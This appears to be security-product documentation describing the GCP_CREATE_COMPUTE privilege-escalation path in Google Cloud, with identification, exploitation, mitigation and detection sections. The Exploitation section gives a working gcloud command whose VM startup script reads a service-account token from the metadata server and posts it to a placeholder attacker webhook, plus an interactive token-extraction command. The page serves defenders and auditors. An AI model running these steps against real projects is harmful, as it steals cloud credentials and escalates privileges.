> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_create_compute.md).

# GCP\_CREATE\_COMPUTE

## Summary

|                            |                                                                                        |
| -------------------------- | -------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_CREATE\_COMPUTE                                                                   |
| **GCP Alias**              | Compute Execution & Pipeline Pivots                                                    |
| **Affected Object Types**  | Projects                                                                               |
| **Exploitation Certainty** | Likely                                                                                 |
| **Granting Roles**         | `roles/owner`, `roles/editor`, `roles/compute.admin`, `roles/compute.instanceAdmin.v1` |

## Description

`GCP_CREATE_COMPUTE` indicates that an identity can create Google Compute Engine (GCE) VM instances in a project by holding `compute.instances.create` permission. This edge is primarily a **vehicle** for completing other attack paths, most importantly the `GCP_ACT_AS_SA` path. By creating a VM attached to a high-privilege service account, an attacker can extract the SA's access token from the **GCE metadata server**.

This edge alone does not grant access to other identities' tokens. The full escalation requires:

1. `GCP_ACT_AS_SA` — permission to attach the target SA to a VM. → see [GCP\_ACT\_AS\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_act_as_sa).
2. `GCP_CREATE_COMPUTE` — ability to create the VM itself.

Without both, VM creation may proceed but the attacker cannot attach a privileged SA.

**Key abuse scenarios:**

* Create a VM attached to a high-privilege SA → extract token from metadata server.
* Create a VM with a startup script that exfiltrates the attached SA's token on boot.
* Spin up a persistent attacker-controlled VM for command-and-control within the project VPC.
* Create GPU/high-CPU VMs to run cryptomining workloads (financial impact).

## Identification

### gcloud CLI

```bash
# Find who has compute creation rights
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|editor|compute.admin|compute.instanceAdmin.v1")) | {role: .role, members: .members}'

# List existing VMs and their service accounts
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, status, serviceAccounts[0].email)"

# Check for recently created VMs (audit)
gcloud logging read \
    'protoPayload.methodName=~"compute.instances.insert"' \
  --project=$PROJECT_ID \
  --freshness=7d \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name)"
```

### GCP Console

1. Open **GCP Console** → **Compute Engine** → **VM Instances**.
2. Review VMs and their associated service accounts.
3. Check **IAM & Admin** → **IAM** for principals with `Compute Admin`, `Compute Instance Admin`, `Owner` or `Editor` roles.

## Exploitation

This path requires both `GCP_ACT_AS_SA` and `GCP_CREATE_COMPUTE`.

### gcloud CLI

```bash
# Create a VM attached to a target SA with a startup script that exfiltrates the token
TARGET_SA="high-priv@target-project.iam.gserviceaccount.com"
PROJECT_ID="target-project"

gcloud compute instances create token-theft-vm \
  --project=$PROJECT_ID \
  --zone=us-central1-a \
  --machine-type=e2-micro \
  --service-account=$TARGET_SA \
  --scopes=cloud-platform \
  --metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
curl -X POST -d "$TOKEN" https://attacker-webhook.example.com/collect'
```

**Alternative:** SSH into the VM and extract the token interactively.

```bash
# Alternative: SSH into the VM and extract the token interactively
gcloud compute ssh token-theft-vm --project=$PROJECT_ID --zone=us-central1-a

# From inside the VM:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
```

## Mitigation

1. **Restrict `roles/compute.admin`** — use narrower compute roles (`roles/compute.instanceAdmin.v1`) where full admin is not required.
2. **Enforce OS Login** to require IAM authentication for SSH.
3. **Require shielded VMs** via org policy: `constraints/compute.requireShieldedVm`
4. **Enable `constraints/compute.vmCanIpForward=false`** to prevent IP forwarding abuse.

## Detection

| Log Type       | Method                                 | Key Fields                                        |
| -------------- | -------------------------------------- | ------------------------------------------------- |
| Admin Activity | `*compute.instances.insert`            | `resource.type=gce_instance`, SA field in request |
| Admin Activity | `*compute.instances.setServiceAccount` | SA change on existing VM                          |

```bash
gcloud logging read \
  'protoPayload.methodName=~"compute.instances.insert"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name, protoPayload.request.serviceAccounts[0].email)"
```

Alert on:

* VM creation by non-standard identities attaching high-privilege SAs.
* VMs created with startup scripts containing metadata server URLs.
* Metadata server token requests within minutes of VM creation (rapid token extraction pattern).

## References

* <https://cloud.google.com/compute/docs/access/service-accounts>
* <https://cloud.google.com/compute/docs/metadata/overview>